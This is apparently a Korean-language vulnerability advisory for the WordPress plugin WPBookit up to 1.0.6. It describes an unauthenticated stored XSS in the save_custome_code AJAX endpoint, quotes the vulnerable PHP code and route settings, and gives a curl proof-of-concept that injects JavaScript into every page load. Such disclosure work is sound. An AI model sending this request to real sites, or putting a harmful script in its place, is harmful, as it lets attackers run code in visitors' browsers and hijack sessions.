
WPBookit <= 1.0.6 - 인증되지 않은 저장형 크로스 사이트 스크립팅
WPBookit 플러그인은 save_custome_code AJAX 엔드포인트에서 사용자 권한을 검증하거나 커스텀 CSS/JS 코드를 정화하지 않는다. 이를 통해 인증되지 않은 공격자가 모든 페이지 로드 시 실행되는 임의의 JavaScript를 주입할 수 있으며, 저장형 XSS 및 잠재적인 세션 하이재킹으로 이어질 수 있다.
# Basic XSS injection
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "css_code=/* malicious */&js_code=alert('XSS');"
취약점은 WPB_Setting_Controller 클래스의 save_custome_code 메서드에 존재한다. 이 플러그인은 인증되지 않은 사용자에 대해 AJAX 엔드포인트를 등록하므로, 모든 방문자가 페이지 로드마다 실행되는 임의의 CSS/JS 코드를 주입할 수 있다.
취약한 코드 — /core/admin/classes/controllers/class.wpb-setting-controller.php:16-25:
public function save_custome_code(WP_REST_Request $request){
$css_code= $request->get_param('css_code');
$js_code= $request->get_param('js_code');
update_option( 'wpb_custom_code_data', [ 'css_code' => $css_code, 'js_code' => $js_code ]);
}
코드 실행 — /core/shortcodes/class-wpbookit-shortcode-abstract.php:20-27:
$wpb_custom_code= get_option( 'wpb_custom_code_data', [ 'css_code' => '', 'js_code' => '' ]);
wp_add_inline_style( 'wpb-custom-code-css', stripslashes($wpb_custom_code['css_code']));
wp_add_inline_script( 'wpb-custom-code-js', stripslashes($wpb_custom_code['js_code']) );
인증되지 않은 접근 — /core/admin/classes/class.wpb-admin-routes-handler.php:15-16:
add_action( "wp_ajax_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );
add_action( "wp_ajax_nopriv_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );
라우트 구성 — /core/admin/classes/class.wpb-admin-routes.php:118-123:
'save_custome_code' => [
'method' => 'post',
'action' => 'WPB_Setting_Controller@save_custome_code',
'nonce' => 0,
'module' => 'setting-controller'
],
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "css_code=/* malicious */&js_code=alert('XSS');"